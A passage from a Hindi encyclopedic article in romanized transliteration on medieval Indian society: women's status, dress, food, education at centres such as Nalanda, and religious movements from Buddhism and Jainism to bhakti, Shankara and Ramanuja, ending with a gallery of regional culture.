rakha. is prakar dharm aur samaj vyavastha adhik jatil hoti chali gee.

striyoan ki sthiti

pahale ki tarah is kal mean bhi striyoan ko manasik star par nicha mana jata tha. inaka kartavy moolatah bina kuchh soche samajhe apane pati ki ajna ka palan tha. ek lekhak ne stri ke apane pati ke prati kartavy ke bare mean kaha hai ki use apane pati ke pairoan ko dhona chahie aur naukar ki tarah usaki poori seva karani chahie, lekin usane pati ke kartavy ke bare mean bhi kaha hai ki use dharm ke path par chalana chahie aur apani patni ke prati ghrina tatha eershya ke bhav se mukt rahana chahie. matsy puran mean galat rah par chalane vali patni ko pati ke dvara rassi ya beant se marane ke adhikar die ge haian. striyaan abhi bhi vedoan ke adhyayan ke adhikar se vanchit thi. isake alava striyoan ke vivah ki umr bhi bahut kam kar di gee thi. jisase unhean uchch shiksha prapt karane ka avasar mil hi n sake. is kal ki pustakoan mean mahila shikshakoan ki koee charcha nahian hai. jisase striyoan ke uchch shiksha se vanchit rahane ke bare mean pata chalata hai. lekin isi kal ke natakoan mean hamean ranivas ki aisi maharani tatha unaki dasiyoan ka havala milata hai jo sanskrit aur prakrit mean achchhi kavy rachana kar sakati thian. kee kahaniyoan mean, lalit kalaoan, visheshakar sangit aur chitrakala mean, unaki dakshata ka varnan milata hai. uchch adhikariyoan ki l dakiyaan, ganikaean tatha veshyaean bhi vibhinn kalaoan, visheshakar kavy mean parangat hoti thi.

punarvivah

vivah ke bare mean smritiyoan mean kaha gaya ki maan-bap ko apani l dakiyoan ka vivah chhah aur ath varsh se bich ki ayu, arthath yauvanarambh, ke pahale hi kar dena chahie. pati dvara patni ke tyag, usaki (pati ki) mrityu, usake dvara sannyas grahan, samaj dvara bahishkar tatha usake napuansak hone jaisi kuchh vishesh sthitiyoan mean stri ko punarvivah ki svikriti thi. am taur par auratoan ko bharose layaq nahian samajha jata tha. unako alag kar rakha jata tha aur un parivar ke purush sadasyoan, pita, bhaee, pati, putr adi ka niyantran rahata tha. lekin ghar ke andar unako adar avashy hi diya jata tha. yadi koee purush apani patni ka tyag karata tha to bhale hi vah doshi kyoan n ho, use patni ko rahan-sahan ka kharcha dena hi p data tha. bhoomi par vyaktigat adhikaroan ke badhane ke sath stri ke sampatti-adhikar bhi badhate ge. parivar ki sampatti ko banae rakhane ke lie stri ko purush sadasy ki sampatti ke adhikar bhi die ge. yadi bina putr prapti ke kisi purush ki mrityu ho jati thi to kuchh mamaloan mean chho dakar usaki patni ko apane pati ki sari jayadad ka adhikar mil jata tha. kisi vidhava ki sampatti par usaki l dakiyoan ka adhikar bhi ho sakata tha. is prakar samantavadi vyavastha se niji sampatti ke adhikar ki dharana mazaboot huee. [[chitr:Gagra.jpg|thumb|left|ghaghara pahane hue mahilayean]] is kal ke kuchh lekhakoan ne sati pratha ko avashyak mana, par kuchh auroan ne isaki alochana ki. arabi lekhak suleman ke anusar raja ki mrityu par usaki raniyaan usake sath sati ho jati thian. par yah svayan unaki ichchha par nirbhar karata tha. aisa lagata hai ki samantoan dvara kee striyoan ke rakhane aur sampatti par badhate hue jhag doan ke sath sati ki pratha bhi badhi.

pahanava, bhojan, manoranjan

thumb|350px|gujarati khane se saji huee thali is kal mean purushoan aur striyoan ke pahanave mean koee vishesh parivartan nahian hua. pahale ki tarah ab bhi purush am taur par dhoti tatha striyaan sa di pahanati thian. isake atirikt uttar bharat mean purush jaiket tatha striyaan choli pahanati thian. us samay ki moortiyoan ko dekhane se pata chalata hai ki uttari bharat mean uchch varg ke log lambe kot, paiant tatha joote pahanate the. rajatarangini ke anusar harsh ne kashmir mean rajasi pahanave ka prachalan arambh kiya. isamean ek lamba kot shamil tha. bataya jata hai ki raja apane mantri par isalie naraz ho gaya kyoanki mantri ne chhota kot pahan rakha tha. ja de mean ooni kambaloan ka istemal kiya jata tha. yadyapi amataur par sooti kap doan ka hi istemal hota tha. uchch varg ke log resham tatha malamal ke kap de bhi pahanate the. arab yatriyoan ke anusar purush aur striyaan, donoan hi abhooshanoan ke shauqin the. ve sone ke k de aur kanoan mean kabhi-kabhi qimati pattharoan ke jhumake pahanate the. chini lekhak 'chaoo joo kva' hamean batate haian ki gujarat mean purush tatha mahilaean donoan, kanoan mean jhumake athava kundal pahanate the. ve dhile dhale vastr dharan karate the aur unake sar dhake rahate the. paanvoan mean lal rang ke joote pahanate the.

svarnabhooshanoan ka prachalan

ek aur prasiddh yatri markopolo batata hai ki malabar mean purush tatha mahilaean, yahaan tak ki vahaan ka raja bhi bas kamare mean kap da baandh kar rahata tha aur darzi ke peshe se log anajan the. aisi hi veshabhoosha kuilaun mean bhi prachalit thi. yadyapi kap de kam pahane jate the, dakshin ke naresh abhooshanoan ke b de shauqin the. chaoo joo kva ke anusar malabar ka naresh apani praja ki tarah kamar mean bas kap da baandhata tha aur nange pair rahata tha. lekin jab vah hathi par shobha yatra mean nikalata tha tab moti-javaharatoan se j da svarn mukut dharan karata tha, tatha hathoan aur paanvoan mean svarnabhooshan pahanata tha. markopolo ke anusar raja svarn aur qimati pattharoan ke jo gahane pahanata tha, unaki qimat ek poore shahar ki qimat se adhik thi. jahaan tak bhojan ka saval hai, yadyapi adhikatar kshetroan mean log shakahari the, us samay ke pramukh smriti lekhak ne vistar mean un avasaroan ki charcha ki hai jab maans khana uchit mana jata tha. isase aisa lagata hai ki mor, gho de tatha jangali sooar aur murg ka maans uchit bhojy-padarth samajha jata tha. ashchary ki bat hai ki us samay ki ek pustak mean mlechchh bhojan ko gehooan ka paryayavachi shabd bataya gaya hai. isaka arth yah hua ki us samay tak gehooan ko bharat mean am bhojy padarthoan mean shamil nahian kiya gaya tha. [[chitr:Dhoti-Kurta.jpg|thumb|left|dhoti-kurte mean l dake]] arab lekhakoan ne is bat ki prashansa ki hai ki bharat mean nashile padarthoan ka sevan nahian hota tha. is kal ki sahityik kritiyoan mean hamean sharab pine ki charcha milati hai. kuchh samay vargoan mean vivah-bhoj aur tyoharoan ke avasaroan par sharab pina bahut lokapriy tha. yahaan tak ki raja ke sath rahane vali auratean bhi khul kar sharab piti thian. kuchh smritiyoan mean tin uchch vargoan mean sharab par pabandi lagaee gee hai. lekin kuchh smritiyoan mean sharab ko keval brahmanoan ke lie nishiddh bataya gaya hai aur kuchh apavadoan ko chho dakar kshatriy aur vaishyoan ko isaki svikriti di gee hai. samasamayik sahity se lagata hai ki nagaroan ke nivasi manoranjan-priy the. mele aur tyoharoan ke alava tairaki tatha bagiche mean ghoomana bahut lokapriy tha. bhe doan, murgoan aur any janavaroan ke bich l daee tatha kushti janasadharan ke manoranjan ke priy sadhan the. uchch shreni ke logoan mean shikar tatha jua b de prachalit the aur ek vishesh prakar ke 'chaugan' ko rajasi khel mana jata tha.

shiksha aur jnan

[[chitr:Ved-merge.jpg|thumb|ved]] shiksha ke kshetr mean pahale se lekar ab tak jo vikas hua tha, vahi paripati bina adhik parivartan ke is kal mean bhi qayam rahi. un dinoan samoohik shiksha ki dharana ne janm nahian liya tha aur log vahi sikhate the jo unake jivan yapan ke lie avashyak tha. padhana-likhana kuchh hi logoan mean simit tha. jinamean adhikatar brahman ya uchch varg ke log the. gaanv mean padhana likhana vahaan ka brahman sikhata tha. bachche adhikatar mandiroan mean padhate the jo bhoomi-anudan par nirbhar karate the. jnani brahmanoan ko bhoomi dan mean dena dharmik krity mana jata tha. us kal ke tamrapatr, jin par aise dan ka ullekh hai, hamean b di sankhya mean prapt haian jinase hamean pata chalata hai ki is prakar ke anudan kafi prachalit the. kabhi-kabhi mandiroan ki aur se hi uchch shiksha ka prabanndh kar diya jata tha. amataur par uchch shiksha ke prarambh ke lie vidyarthi ko apane shikshak ke ghar jakar usi ke sath rahana p data tha. aise mamale mean use apane shikshak ko fis deni p dati thi ya phir apani shiksha ke ant mean vah shikshak ko gurudakshina deta tha. aise vidyarthi jo garibi ke karan fis nahian de sakate the, ve gurudakshina guru ki seva ke roop mean chukate the. shiksha ke mukhy vishay ved tatha vyakaran the. yadyapi bachche ko akshar jnan ke sath ganit bhi sikhaya jata tha. un dinoan bharatiyoan ki dilachaspi vijnan mean bahut kam ho gee thi. is kal mean hamean shalyachikitsa ka vivaran nahian milata. puloan tatha baandhoan ka nirman nimn shreni ka kam mana jata tha. aisa isalie tha ki is samay tak sharirik shram ko hey drishti se dekha jata tha. kisi kary ke prashikshan ki zimmedari am taur par sanghoan tatha kuchh parivaroan par thi. udaharan ke lie ek vyapari dvara apane putr ko prashikshit karane ka hamean vistrit byaura milata hai. vijnan mean uchch prashikshan tatha any prakar ki uchch shiksha prapt karane ke lie yatra ko protsahit kiya jata tha. ek lekhak ne kaha hai ki ve log jo doosare deshoan ke pahanave, rahan-sahan aur unaki bhasha ka adhyayan nahian karate ve bina siang vale bailoan ke saman haian. phir bhi bharat ke andar bhi yatra kharab s dakoan aur chor-dakuoan ke bhay se atyant simit rahati hoangi. isake alava koee sadhan-sampann vyakti hi yatra par ja sakata tha.

shiksha ke keandr bauddh vihar

uchch shiksha mean dharmik vishayoan ke alava any vishay bhi shamil the, aur isaka kendr bauddh vihar hi tha. inamean se sabase prasiddh, bihar ka nalanda vishvavidyalay tha. any shiksha ke pramukh kendr vikramashila aur uddandapur the. ye bhi bihar mean hi the. in kendroan mean door-door se, yahaan tak ki tibbat se bhi, vidyarthi ate the. yahaan shiksha ni:shulk pradan ki jati thi. in vishvavidyalayoan ka kharch shasakoan dvara di gee mudra aur bhoomi ke dan se chalata tha. nalanda ko do sau gramoan ka anudan prapt tha. [[chitr:Nalanda-University-Bihar.jpg|thumb|300px|left|nalanda vishh‍vavidyalay, nalanda, bihar]] shiksha ka ek any pramukh kendr kashmir tha. is kal mean kashmir mean shaiv mat tatha any matavalanbi shiksha kendr the. dakshin bharat mean maduree tatha shrriangeri mean bhi kee mahattvapoorn mathoan ki sthapana huee. in kendroan mean pramukh roop se dharm tatha darshan shastr par vichar-vimarsh hota tha. bharat ke vibhinn kshetroan mean sthapit mathoan aur shiksha kendroan ke karan vichar vinimay asani aur shighrata se desh ke ek bhag se doosare bhag tak ho sakate the. kisi darshan shastri ki vidya us samay tak poorn nahian mani jati thi jab tak vah desh ke vibhinn bhagoan mean jakar vahaan ke logoan se shastrarth n karata ho. is tarah desh mean vicharoan ke mukt aur shighratapoorn adan-pradan se bharat ki saanskritik ekata ko bahut bal mila, lekin isake bavajood is kal mean shikshit varg ka drishtikon adhik sankirn hota gaya. ve naye vicharoan ka pratipadan athava usaka svagat karane ke sthan par keval atit ke jnan par hi nirbhar karate the. ve bharat ke bahar panapane vale vaijnanik vicharoan se bhi svayan ko alag rakhate the. is pravritti ki jhalak hamean madhy eshiya ke prasiddh vaijnanik aur vidvanh alaberooni ki rachanaoan mean milati hai. alaberooni gyarahavian shatabdi ke prarambh mean qarib das varshoan tak bharat mean raha. yadyapi vah bharatiy jnan aur vijnan ka prashansak tha, usane yahaan ke shikshit vargoan aur visheshakar brahmanoan ki sankirnata ki charcha bhi ki haiah- 'ye ghamandi, garvile, danbhi tatha sankirn pravritti ke haian. ye pravritti se hi apane jnan ko doosaroan ko baantane ke mamale mean kanjoos haian aur is bat ka adhik se adhik khyal rakhate haian ki kahian aur koee jat ke kisi adami, visheshakar kisi videshi ko unaka jnan nahian mil jae. unaka vishvas hai ki unake alava aur kisi ko bhi vijnan ka koee jnan nahian hai.' jnan ko hi kuchh logoan tak simit rakhane ki unaki is pravritti tatha ghamand ke karan tatha kisi aur srot se prapt jnan ko tuchchh samajhane ke karan bharatavarsh is mamale mean pichh d gaya. kalantar mean use is pravritti ka bahut b da mooly chukana p da.

dharmik vichar

[[chitr:Om.svg.png|thumb|250px|Om]] is kal mean bauddh aur jain dharm ka hras hua, yadyapi dakshin bharat mean jain dharm ka prabhav dasavian shatabdi tak bana raha. isi kal mean bauddh dharm apane janm ke desh mean samapt prayah ho gaya par hindoo dharm ka purnajagaran aur usaka vistar hua. isane anekoan roop apanae jisamean sabase pramukh shiv aur vishnu ki lokapriyata thi. in devoan ki pooja ko pramukh manate hue kee sampraday uth kh de hue par bauddh aur jain dharm ke siddhaantoan ko chunauti di gee.

kalantar mean shiv tatha vishnu pramukh devata ban ge aur soory, brahma adi ki lokapriyata kam ho gee. poorvi bharat mean pooja ki ek nee vidhi ka vikas hua. yah shakti pooja thi jisamean stri shakti ko srishti ka adhar siddhaant mana gaya. is prakar bauddhoan ne atit ke bodhisatvoan ki patni ke roop mean tara tatha hinduoan ne durga aur kali ki pooja shuroo ki, jinhean shiv ki patniyaan bataya gaya. [[chitr:Buddhism-Symbol.jpg|thumb|left|bauddh dharm ka pratik]] is kal mean bauddh dharm ka prabhav poorvi bharat tak simit raha. bangal ke pal shasak bauddh dharm ko manane vale the. dasavian shatabdi ke bad unake patan se bauddh dharm ko bhi dhakka pahuancha. lekin isase zyada gambhir bauddh dharm ke aantarik matabhed the. buddh ne svayan ek vyavaharik darshan ka prasar kiya tha. jisamean pujari varg ki bhoomika nyoonatam thi tatha eeshvar tatha usake astitv ke bare mean adhik atakalabazi ki guanjaish nahian thi. eesvian yug ke arambh ki shatabdiyoan mean mahayan mat ka vikas hua, jisamean buddh ko eeshvar ke roop mean pooja jata tha. dhire-dhire inaki pooja paripati aur jatil tatha bhavy hoti gee. sath-sath yah vishvas mazaboot hota gaya ki poojak mantroan ko padhakar apana lakshy prapt kar sakata hai. unaka yah bhi vishvas tha ki in karyakalapoan tatha vibhinn prakar ke kasht sahane se unhean hava mean u dane aur adshy hone jaisi daivi shaktiyaan prapt ho sakati thian. manushy is prakar se prakriti par niyantran ke lie hamesha se ichchhuk raha hai, par isaki ye ichchhaean keval adhunik vijnan ke vikas se poori huee hai. kee hindoo yogiyoan ne bhi is prakar ki cheshta ki. inamean sabase prasiddh gorakhanath the. gorakhanath shishyoan ko nathapanthi kaha jata hai tatha ek samay ye sare uttar bharat mean lokapriy the. inamean se kee yogi nichi jati ke the aur unhoanne varn-vyavastha tatha brahmanoan ke visheshadhikar ki alochana ki. unake dvara pratipadit siddhaant ko tantr kaha jata hai aur isaki sadasyata bina jatibhed ke sabhi ke lie khuli thi. is prakar yah kaha ja sakata hai ki bauddh dharm ka patan nahian hua, lekin usane kee aise roop dharan kar lie jo hindoo dharm se bahut bhinn nahian the.

lokapriy jain dharm

pashchim bharat mean, visheshakar vyapari varg ke bich, jain dharm lokapriy bana raha. gujarat ke chaluky shasakoan ne jain dharm ko protsahit kiya. unhian ke kal mean aboo paha d par dilava da jaise bhavy mandiroan ka nirman kiya gaya. malava ke paramar shasakoan ne bhi jain tirthankaroan aur mahavir ki, b di-b di pratimaean banavayi jinhean ab eeshvar ke roop mean pooja jane laga tha. unhoanne vibhinn kshetroan mean b de-b de jainalay banavae, jo yatriyoan ke vishram sthal ke roop mean lokapriy hue. [[chitr:Jain-Temple-Kolkata.jpg|thumb|350px|jain mandir, kolakata]] dakshin bharat mean jain dharm nauvian aur dasavian shatabdiyoan mean shikhar par pahuanch gaya. karnatak ke gang shasak jain dharm ke bahut b de sanrakshak the. is kal mean vibhinn hissoan mean jain mandiroan tatha mahastambhoan ka nirman kiya gaya. shravan belagola mean mahavir ki vishal pratima bhi isi kal mean bani. yah moorti 18 mitar ooanchi tatha ek hi chattan se katakar banaee gee hai. isamean mahavir ko tapasya ki mudra mean kh da dikhaya gaya hai. ve apane charoan or ke vatavaran se anabhijn haian. unake paanvoan mean saanp lipate hue haian tatha chitiyoan ne mitti ke gharauande bana die haian. jainiyoan ke char varoan (shiksha, ann, chikitsa aur avas) ke siddhaant ne logoan ke bich jain dharm ko lokapriy bana diya tha. kalantar mean jainiyoan ki sankirnata tatha rajasi protsahan ki kami se dhire-dhire isaka bhi hras hota gaya. isake alava isi kal mean dakshin bharat mean shiv tatha vishnu se sambandhit kee lokapriy andolan shuroo ho ge. jisake karan jainiyoan ki lokapriyata ghatati chali gee. inamean se sabase pramukh bhakti andolan tha. jisaka netritv lokapriy santoan ne kiya, jinhean 'nayanar' tatha 'alavar' pukara jata tha. inake mat mean kathor tapasya ka koee sthan nahian tha. ve dharm ko riti-rivajoan se jatil pooja, tatha keval siddhaant matr nahian manate the. inake anusar dharm eeshvar tatha bhakt ke bich ek jivant sampark sadhan tha. ye sant tamil aur telugu mean likhate the, jinhean sabhi samajh sakate hoan. ye sant jagah-jagah svayan jakar logoan ko bhakti aur prem ke siddhaant batate the. inamean se kuchh nichi jati ke the, par kuchh brahman bhi the. inake alava is andolan mean kuchh striyaan bhi thian. qarib-qarib sabhi santoan ne jati vyavastha ka virodh kie bina usase usase utpann hone vale bhedabhav ko galat bataya. nichi jati ke logoan ko vaidik jnan tatha pooja se bahishkrit kiya gaya, lekin in santoan dvara pratipadit bhakti marg sabhi ke lie khula tha, usamean jati vyavastha ka koee sthan nahian tha.

bhakti aandolan aur katha-kahaniyaan

bhakti aandolan ne n keval kee bauddh tatha jain matabalambiyoan ko hindoo dharm ki or akarshit kiya, varanh un kee qabiloan ko bhi hindoo dharm mean mil jane ko prerit kiya, jo ab tak isake bahar the. is prakar vibhinn qabile jati vyavastha mean dhalakar hindoo ban ge the. am taur par ve apane qabilaee devi-devataoan ki hi pooja karate the, lekin bad mean unhean shiv tatha vishnu ke mitr athava patniyaan bana diya gaya. is prakar ke saanskritik sammelan mean katha-kahaniyoan ne mahattvapoorn bhoomika nibhaee. thumb|250px|left|vaidik paranpara barahavian shatabdi ke dauran ek aur lokapriy aandolan shuroo hua. jise liangayat kahate haian. isake pratishthata 'basav' aur unaka bhatija 'channabasav' the, jo karnatak ke kalachoori nareshoan ke darabar mean rahate the. inhoanne jain matavalambiyoan se k de virodh ke bad is mat ki sthapana ki. liangayat shiv ke poojak hote haian. inhoanne jati vyavastha ki k di alochana ki, tatha upavas, bali pratha aur tirthoan ka bahishkar kiya. samajik kshetr mean inhoanne bal vivah ka virodh kiya tatha vidhava vivah ki svikriti di. is prakar dakshin tatha uttar bharat, donoan sthanoan mean hindoo dharm ke vistar aur punarjagaran ne do roop apanae -

1. ek or vedoan tatha vaidik pooja aur unake sath-sath sahity tatha bauddhik aandolanoan par zor diya gaya.
2. doosari or uttar bharat mean tantr tatha dakshin bharat mean bhakti jaise lokapriy aandolanoan ka arambh hua. tantr tatha bhakti ke aandolanoan mean jati-bhed ka koee sthan nahian tha aur inake dvar sab ke lie khule the.

bauddhik star par bauddh tatha jain dharm ko sabase b di chunauti shankar ne di, jinhoanne hindoo darshan ki punahvyakhya ki. shankar ka janm sambhavatah nauvian shatabdi mean keral mean hua tha. unake prarambhik jivan ke bare mean hamean vishesh janakari nahian hai tatha unake bare mean kee kahaniyaan prachalit ho gee haian. kaha jata hai ki jain matavalambiyoan ke virodh ke karan unhean maduree se bhagana p da aur usake bad unhoanne uttar bharat ki yatra ki tatha shastrarth mean b de se b de virodhiyoan ko parajit kiya. jab ve maduree laute tab vahaan ke naresh ne unaka bhavy svagat kiya tatha apane darabar se jainiyoan ko nikal diya. isase spasht ho jata hai ki shankar ko apane siddhaant pratipadit karane ke dauran bauddh tatha jain matavalambiyoan se k de virodh ka samana karana p da tha. shankar ke darshan ko advaitavad ke nam se jana jata hai. isake anusar eeshvar tatha usaki srishti vastav mean ek hai. usake anusar moksh ka marg isi bat ki anubhooti thi ki eeshvar tatha usaki srishti ek hi hai. is darshan ko vedant kaha jata hai. is prakar shankar ne vedoan ko uchchatam jnan ka srot bataya. shankar dvara pratipadit jnan ka marg kuchh hi logoan ki samajh mean a sakata tha. isase janasamooh prabhavit nahian ho sakata tha. gyarahavian shatabdi mean ek aur prasiddh vidvanh ramanuj ne bhakti tatha vedoan ki parampara ke bich samanvay sthapit karane ka prayatn kiya. unake anusar moksh ke lie eeshvar ke jnan se adhik usaki kripadrishti avashyak thi. unhoanne bhakti marg ka pratipadan kiya, jisake dvar bina jati bhed ke khule the. is prakar ramanuj ne bhakti ke lokapriy aandolan tatha vedoan par adharit uchch vargiy aandolan ke bich setu ka kary kiya. ramanuj ke kee bauddhik anuyayi hue. inamean madhvachary (chaudahavian shatabdi) tatha uttar bharat mean ramanand (pandrahavian shatabdi) pramukh haian. is prakar athavian aur barahavian shatabdiyoan ke bich ke kal mean n keval samaj mean varanh dharmik vicharoan mean bhi anek mahattvapoorn parivartan hue.

rajyoan ki sanskriti

bihoo nrity|200px|center

bihoo nrity, asam

kuchi pudi nrity|200px|center

kuchi pudi nrity, aandhr pradesh

arati|200px|center

arati, ganga nadi, varanasi

arati kuanbh mela|200px|center

arati kuanbh mela, haridvar

odisi nrity|200px|center

odisi nrity, u disa

[[chitr:Virupaksha-Temple-Hampi.jpg|virupaksh mandir|200px|center]]

viroopaksh mandir, hampi

nauka dau d|200px|center

nauka dau d, keral

garaba nrity|200px|center

garaba nrity, gujarat

gova tat|200px|center

gova tat

boranadev mandir|200px|center

boranadev mandir, chhattisagadh

kashmiri sh aaul|200px|center

kashmiri sh aaul, jammoo aur kashmir

masanajor baandh|200px|center

masanajor baandh, dumaka

mahabalipuram ke bazar ka ek drishy |200px|center

mahabalipuram ke bazar ka ek drishy

mahila|200px|center

mahila, tripura

lok git kalakar|200px|center

lok git kalakar, dilli

nagalaiand ka ek drishy|200px|center

nagalaiand ka ek drishy

bhaang da nrity|200px|center

bhaang da nrity, panjab

lepcha prajati ke log|200px|center

lepcha prajati ke log, darjiliang, pashchim bangal

kut th‍yohar|200px|center

kut th‍yohar, manipur

khajuraho mandir|200px|center

khajuraho mandir, madhy pradesh

ajanta ki gufaean|200px|center

ajanta ki gufaean, aurangabad

ghoomar nrity|200px|center

ghoomar nrity, rajasthan

buddh mandir|200px|center

buddh mandir, sikkim

holi|200px|center

holi

dipavali ki ratri mean jalata hue dipak |200px|center

dipavali ki ratri mean jalata hue dipak

onam |200px|center

onam

eed par namaz padhate log|200px|center

eed par namaz padhate log

loh di ka tyohar manate log|200px|center

loh di ka tyohar manate log

bhaee ko rakhi baandhati bahan|200px|center

bhaee ko rakhi baandhati bahan

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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